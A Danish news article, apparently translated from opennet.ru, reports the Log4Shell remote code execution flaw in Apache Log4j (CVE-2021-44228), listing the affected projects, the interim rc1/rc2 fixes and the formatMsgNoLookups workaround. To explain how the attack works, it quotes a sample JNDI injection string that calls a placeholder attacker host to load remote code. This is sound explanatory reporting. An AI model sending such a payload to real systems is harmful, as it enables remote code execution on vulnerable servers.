Katastrofal sårbarhed i Apache Log4j, der påvirker mange Java-projekter

I Apache Log4j, en populær ramme til organisering af logning i Java-applikationer, er en kritisk sårbarhed blevet identificeret, der gør det muligt at udføre vilkårlig kode, når en specielt formateret værdi i "{jndi:URL}"-formatet skrives til loggen. Angrebet kan udføres på Java-applikationer, der logger værdier modtaget fra eksterne kilder, for eksempel ved visning af problematiske værdier i fejlmeddelelser.

Det bemærkes, at næsten alle projekter, der bruger frameworks som Apache Struts, Apache Solr, Apache Druid eller Apache Flink, er påvirket af problemet, inklusive Steam, Apple iCloud, Minecraft-klienter og -servere. Det forventes, at sårbarheden kan føre til en bølge af massive angreb på virksomhedsapplikationer, der gentager historien om kritiske sårbarheder i Apache Struts-rammeværket, som ifølge et groft skøn bruges i webapplikationer af 65 % af Fortune 100 virksomheder Herunder forsøg på at scanne netværket for sårbare systemer.

Problemet forværres af det faktum, at en fungerende udnyttelse allerede er blevet offentliggjort, men der er endnu ikke kompileret rettelser til de stabile grene. CVE-id'et er endnu ikke blevet tildelt. Rettelsen er kun inkluderet i log4j-2.15.0-rc1 testgrenen. Som en løsning til at blokere sårbarheden anbefales det at indstille log4j2.formatMsgNoLookups-parameteren til sand.

Problemet var forårsaget af det faktum, at log4j understøtter behandling af specielle masker "{}" i linjers output til loggen, hvor JNDI (Java Naming and Directory Interface) forespørgsler kunne udføres. Angrebet koger ned til at sende en streng med substitutionen "${jndi:ldap://attacker.com/a}", ved behandling, hvilken log4j vil sende en LDAP-anmodning om stien til Java-klassen til attacker.com-serveren . Stien, der returneres af angriberens server (f.eks. http://second-stage.attacker.com/Exploit.class) vil blive indlæst og eksekveret i sammenhæng med den aktuelle proces, som gør det muligt for angriberen at udføre vilkårlig kode på system med rettighederne til den aktuelle applikation.

Tillæg 1: Sårbarheden er blevet tildelt identifikatoren CVE-2021-44228.

Tillæg 2: En måde at omgå beskyttelsen tilføjet af release log4j-2.15.0-rc1 er blevet identificeret. En ny opdatering, log4j-2.15.0-rc2, er blevet foreslået med mere fuldstændig beskyttelse mod sårbarheden. Koden fremhæver ændringen forbundet med fraværet af en unormal afslutning i tilfælde af brug af en forkert formateret JNDI URL.

Kilde: opennet.ru

Tilføj en kommentar